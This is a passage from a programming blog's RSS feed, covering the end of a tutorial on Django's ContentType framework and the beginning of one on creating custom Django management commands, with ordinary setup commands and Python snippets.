class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Once in our virtual environment, let&amp;rsquo;s install Django&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install django&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Let&amp;rsquo;s create a project:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;django-admin startproject videogameStore&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; videogameStore&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we will create an app for our application.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;django-admin startapp videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Once we have our application, we will have to create a template, and, as I already mentioned, Django will automatically register that template in its &lt;em&gt;ContentType&lt;/em&gt; application.&lt;/p&gt;&#xA;&lt;p&gt;The first thing we will do is open our &lt;em&gt;models.py&lt;/em&gt; file and edit the content of the file&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Create your models here.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Videogame&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;256&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    created &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now_add&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    modified &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We must remember to add our newly created app to our &lt;em&gt;settings.py&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;videogame&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We create the migrations and execute them. Pay attention to how to create migrations for the ContentTypes application in Django.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python3 manage.py makemigrations&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Migrations &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;videogame&amp;#39;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  videogame/migrations/0001_initial.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - Create model Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python3 manage.py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Operations to perform:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Apply all migrations: admin, auth, contenttypes, sessions, videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Running migrations:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Applying contenttypes.0001_initial... OK&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Applying auth.0001_initial... OK&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we will have a model registered in &lt;em&gt;ContentType&lt;/em&gt;. Let&amp;rsquo;s check it directly from Django&amp;rsquo;s &lt;em&gt;shell&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py shell&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once in the terminal, let&amp;rsquo;s import the &lt;em&gt;ContentType&lt;/em&gt; model.&lt;/p&gt;&#xA;&lt;h3 id=&#34;how-to-get-models-from-contenttype-in-django&#34;&gt;How to get models from ContentType in Django?&lt;/h3&gt;&#xA;&lt;p&gt;Just like any other model, we can use your ORM to get the data from the models.&lt;/p&gt;&#xA;&lt;p&gt;Each object of the &lt;em&gt;ContentType&lt;/em&gt; model will have a property called &lt;em&gt;app_label&lt;/em&gt;, and another &lt;em&gt;model&lt;/em&gt;, which are the name of the application and the name of the model, respectively.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.contenttypes.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ContentType&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ContentType&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(app_label&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;videogame&amp;#39;&lt;/span&gt;, model&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogame&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;ContentType: videogame &lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt; videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you prefer, you can also access the &lt;em&gt;ContentType&lt;/em&gt; instance directly from the model using the &lt;em&gt;get_for_model&lt;/em&gt; method.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; videogame.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ContentType&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get_for_model(Videogame)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;ContentType: videogame &lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt; videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;other-models-stored-in-django-contenttype&#34;&gt;Other models stored in Django ContentType&lt;/h2&gt;&#xA;&lt;p&gt;As you know, each table entry has a unique identifier, the id, see what happens if we access the id of the instance we just created.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ContentType&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(app_label&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;videogame&amp;#39;&lt;/span&gt;, model&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogame&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;7&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Yes, as you may have already guessed, there are more models registered in the ContentType app. Let&amp;rsquo;s find out what they are.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; ContentType&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;ContentType: admin &lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt; log entry&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ContentType&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;ContentType: auth &lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt; permission&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ContentType&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;ContentType: auth &lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt; group&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ContentType&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;ContentType: auth &lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt; user&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As I already mentioned, each of the default installed apps has its respective models.&lt;/p&gt;&#xA;&lt;p&gt;If you want to go deeper into the subject please check &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/3.1/ref/contrib/contenttypes/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;the official Django documentation&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Did you know that Django keeps track of each of the models you create for your project in a model called &lt;em&gt;ContentType&lt;/em&gt;? Read on to learn about it.&lt;/p&gt;&#xA;&lt;p&gt;Sorry for taking so long to write! I&amp;rsquo;ve been busy moving the frontend of my blog to Frontity, a React framework for Wordpress, and also moving to a new apartment. Maybe I&amp;rsquo;ll talk a bit about Frontity in a future post. For now let&amp;rsquo;s get on with it.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>How to create a command in django?</title>
      <link>https://coffeebytes.dev/en/django/how-to-create-a-command-in-django/</link>
      <pubDate>Thu, 21 Jan 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/how-to-create-a-command-in-django/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;You have used Django before, haven&amp;rsquo;t you? So, you already used some Django command, it could have been makemigrations, migrate, startproject, startapp or some other. But have you ever created any? Maybe you haven&amp;rsquo;t. Read on to learn how.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-to-create-a-command-in-django&#34;&gt;How to create a command in django&lt;/h2&gt;&#xA;&lt;p&gt;To create a django command just create a folder called &lt;em&gt;management&lt;/em&gt; at the same level as your &lt;em&gt;manage.py&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mkdir management&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Subsequently, create a folder called commands inside this folder&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; management/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mkdir commands&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we position ourselves inside that folder and create a file with the name of our command&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; commands/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;touch yourcommand.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Inside this file we will create a class called &lt;em&gt;Command&lt;/em&gt; that inherits from &lt;em&gt;BaseCommand&lt;/em&gt;, with a method called &lt;em&gt;handle&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# management/command/yourcommand.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.core.management.base &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; BaseCommand, CommandError&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Command&lt;/span&gt;(BaseCommand):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    help &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;help text&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;handle&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;args, &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;options):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Inside the &lt;em&gt;handle&lt;/em&gt; method we will place the code that will be executed when we use our command.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.core.management.base &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; BaseCommand, CommandError&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Command&lt;/span&gt;(BaseCommand):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    help &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;help text&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;handle&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;args, &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;options):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;stdout&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;write(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;style&lt;span 